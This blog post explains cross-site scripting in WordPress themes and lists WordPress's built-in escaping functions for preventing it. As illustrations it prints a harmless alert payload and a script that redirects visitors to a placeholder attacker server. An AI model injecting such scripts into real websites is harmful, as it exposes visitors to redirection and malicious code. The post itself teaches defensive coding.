WordPress Themes: XSS Vulnerabilities and Secure Coding Practices

As many might imagine, my life revolves around Information Security. If you’re like me, you’re undoubtedly seeing all these new posts talking to insecurities in WordPress themes, specifically a plethora of Cross-Site Scripting (XSS) vulnerabilities. Surprise, surprise, right? Yeah, no, not so much.

WordPress Theme XSS Vulnerabilities

Here are some of the posts I am referring to:


So what’s the big deal? Honestly, not much. It’s the same thing that has plagued other development groups for years. What’s perhaps most frustrating is that these are simple mistakes, especially when it comes to WordPress.

I recently attended a SANS course in Las Vegas, SANS Network Security 2012. In it the instructor said if there is anything you can do, as a developer, it’s to perform Explicit Error Checking. If you accept 5 characters, then verify both the size and character set. Fundamentally the principle and advise is simple and sound, and the kicker is it’d help address not just Cross-Site Scripting attacks but OS Command injection, Buffer overflows, and SQL injection attacks.

But saying that is one thing, implementing is another. Being that the time to write about each would be too exhaustive, let’s look at WordPress specifically. Before we do, let’s understand this thing called Cross Site Scripting.

Cross-Site Scripting


Before we can implement corrections to a problem, we have to understand the problem. So what is this thing known as XSS? We can turn our head to The Open Web Application Security Project for an official definition. This is how they describe it:

Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.

Meh, that definition is OK. For the layman, all it is saying is that it represents a weakness in which someone with malicious intent is able to pass something via your website to the server; this can in turn be used to impact other visitors to your website. When they say browser side script, they’re often referring to JavaScript which most folks have enabled, but it’s not restricted to that.

An example of this would be if you found a website that asked you for username and password, or even your address and you typed in something like this:

<script>Alert(‘XSS Susceptible!!’);</script>

This in it of itself is benign, but if successful it would use JavaScript to render a pop-up on your screen that would read:

XSS Susceptible!!

But, what if I did something like this:

<script>document.location=”http://myevilserver/myevilfile.php?some command;</script>

Now things aren’t so nice any more. Now I am using the document.location object in JavaScript to reference a file on another server to execute something. Something that probably isn’t as nice as my first attempt.

So what can you do about it in WordPress? Well, let’s talk about that.

Leveraging Built-In WordPress Functions


To help with this, I’m going to reference a very very good video by Mark Jaquith at WordCamp Phoenix 2011 on Theme & Plugin Security. I will also reference things presented at WordCamp San Francisco 2011 at the Plugin Security Showdown with Mark Jaquith, Jon Cave and Brad Williams.

To keep this post to a reasonable size I’m going to focus solely on the recommendations to address XSS issues, but please note that there are many other attack vectors that should be looked into and it’s highly recommended you watch the videos also.

Escape late – do it as close to the potential vulnerability point as possible. If you escape before that you’re likely to lose track of what is safe and what is not. – Mark Jaquith

Another exceptional post on Data Sanitization and Validation with WordPress was put out by Stephen Harris with WPTuts. In it he provides three very simple rules, same as those used in the videos:

  • Rule No. 1: Trust Nobody
  • Rule No. 2: Validate on Input, Escape on Output
  • Rule No. 3: Trust WordPress
  • Rule No. 4: Making Data Safe is About Context

In Harris’s post he goes into much more detail for each rule. Specifically the input validation which is just as important as the output, but here we’ll reference out-of-the-box functions that come with WordPress.

As of 2.8, WordPress introduced new functions that make it easier to escape. They all start with esc_. If you’re not familiar with them you can always find them in the codex here: http://codex.wordpress.org/Function_Reference/.

Here is a quick list of them as well:

  • esc_html() – Be mindful when using this one, it kills html, so if you require html like features, think widgets, wp_filter_kses() is the function to use
  • esc_attr() – As implied by the name, this is designed to escape attributes.
  • esc_url() – This is used to print url’s to the page.
  • esc_url_raw() – This is used to save url’s to the database or to redirect.
  • esc_js() – Supersedes js_escape() and used when you are printing JS to the page.
  • esc_textarea() – This is designed specifically for use with textareas, it double encodes entities making it more effective for textarea’s.
  • wp_filter_kses() – allows you to use safe HTML, html sanitization library

What’s important to note about these escape functions is that they reference whitelist libraries. Whitelist libraries are fundamentally better than a blacklist library which are exceptionally hard to maintain. Hopefully this helps some of you, if nothing else it should help build your awareness around the built-in WordPress functions designed to help you build more secure products.


If you have any questions about this post please leave us a comment or send us an email info@sucuri.net.

Scan your website for free:
About Tony Perez

Tony is the Co-Founder / CEO at Sucuri. He shares a deep passion for Information Security, Business and Brazilian JiuJitsu. He approaches the business the same as he trains BJJ, one move at a time and gently. You can follow him on twitter: @perezbox.